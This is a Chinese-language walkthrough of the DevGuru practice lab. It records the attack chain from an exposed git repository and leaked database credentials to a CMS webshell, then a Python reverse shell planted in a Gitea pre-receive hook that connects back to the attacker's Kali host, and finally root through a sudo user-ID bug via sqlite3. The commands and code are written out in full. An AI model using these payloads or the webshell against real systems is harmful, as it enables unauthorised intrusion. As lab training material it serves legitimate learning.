1.信息收集
端口扫描
靶机地址:192.168.56.101;kali地址:192.168.56.103。用nmap扫描靶机开放端口
开放端口:
22:ssh OpenSSH 7.6p1
80:http Apache httpd 2.4.29
8585:tcp gitea git项目托管仓库
80端口:一个公司的网页,无发现。
8585端口:git项目仓库。根据nmap扫描结果,编辑/etc/hosts文件,把靶机的IP地址和域名devguru.local加入文件。
访问用户仓库http://devguru.local:8585/frank/devguru-website.git, 因为没有frank权限无法访问项目内容,目前只能访问其主页。
目录扫描
扫描到后台内容管理系统:http://192.168.56.101/backend, OctoberCMS,采用Laravel PHP框架。
2.提取git仓库获取账密信息
在之前nmap扫描的时候,发现了git仓库地址http://192.168.56.101:80/.git
使用GitTools中的gitdumper工具,将”./git”内容dump到kali,存在website文件夹中。
./gitdumper.sh http://devguru.local/.git website/
dump完成之后,发现文件不可读,这时要用GitTools中的Extractor工具来还原不完整的仓库内容。
./extractor.sh ../website ./website
现在可以查看git仓库中的内容了,通过查找提取的文件,发现adminer.php文件。
访问adminer.php,这是一个PHP的mysql数据库登录页。
返回到仓库文件夹,查找到了database.php文件,这可能是数据库相关文件。
查看这个文件,发现了我们感兴趣的信息,还记得目录扫描出了名为October的CMS系统吗?这里很可能就是它的登录用户名和密码。
尝试登录OctoberCMS,然而失败了。看来不是October的账户,而是上一步adminer.php的数据库账户。
尝试登录adminer.php,登录成功!
因为目的是登录CMS,所以首先关注到backend_users表,查看表中内容,发现了账户和密码信息。
密码是经过加密的,用HashAnalyzer分析数据库存储密码用的是Bcrypt算法。
我们现在拥有数据库的admin权限,可以修改账户密码,所以将用户密码更改为已知密码的hash。例如“123456”的Bcrypt hash。
然后尝试用frank:123456登录CMS,登录成功!
3.CMS中植入恶意代码获取webshell
由于这个CMS只能保存htm文件,所以不能直接上次php反弹shell文件,但是可以通过修改htm文件,设置一个webshell来执行命令。
新建一个shell文件,添加该文件的code:
function onStart(){
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
在Markup中加入代码调用:
{{ this.page.myVar }}
这时cmd作为webshell的参数,可以接收命令。
webshell下载反弹shell文件
利用webshell从主机上下载PHP的反弹shell文件。
kali上启动python HTTP服务等待靶机下载:
webshell的wget命令下载shell.php文件到靶机。
在kali上监听端口等待回连,然后触发shell.php
反弹shell成功!此时是www-data用户权限。
4.提权到frank
利用python3转为bash终端
python3 -c "import pty;pty.spawn('/bin/bash')"
查看了/home文件夹,只有frank一个用户,目前不可访问。看来要先提权到frank用户再提权到root用户。
继续浏览系统文件,发现了/var/backups文件夹,这种备份文件要引起注意。
查看其中的app.ini.bak文件,正是靶机使用的gitea应用的配置文件。其中,又发现了数据库信息。
转到http://192.168.56.101/adminer.php, 登录!
查看user表,显示frank用户的密码和hash算法
与上文同样的原理,将密码替换成已知的密码。
现在登录8585端口的gitea应用
登录成功,现在可以查看frank的仓库页面了。
因为这是frank权限的文件,所以如果在这里得到反弹shell,那么获取的应该是frank权限。
进入到项目的Setting页,点击 Git Hooks > pre-receive > Hook Content,添加python反弹shell代码:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
但是要触发反弹shell代码,需要更新仓库,在点击提交的时候触发代码执行。
返回仓库页面,编辑README.md文件,随便在结尾添加几个空格,然后点击提交。
这时可以看到反弹shell成功!
此时账户为frank权限。还需要继续提权到root。
得到frank用户的flag。
5.提权到root
查看frank用户可以用root权限执行sqlite3,而sudo版本为1.8.21,这个版本的sudo是有漏洞的。
exploit中的提权方法:
但是我们的程序不是/bin/bash,而是sqlite3,查阅sqlite3的特殊命令
因此用以下代码提权:
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
获取到root用户的flag
6.总结
这个靶机对我来说难度比较大,总结一下考察的知识点有:
- GitTools的使用
- 数据库的知识
- 寻找可疑文件的能力
- 熟悉cms和git的反弹shell利用(webshell,php reverse shell,python reverse shell)
- sudo版本脆弱性提权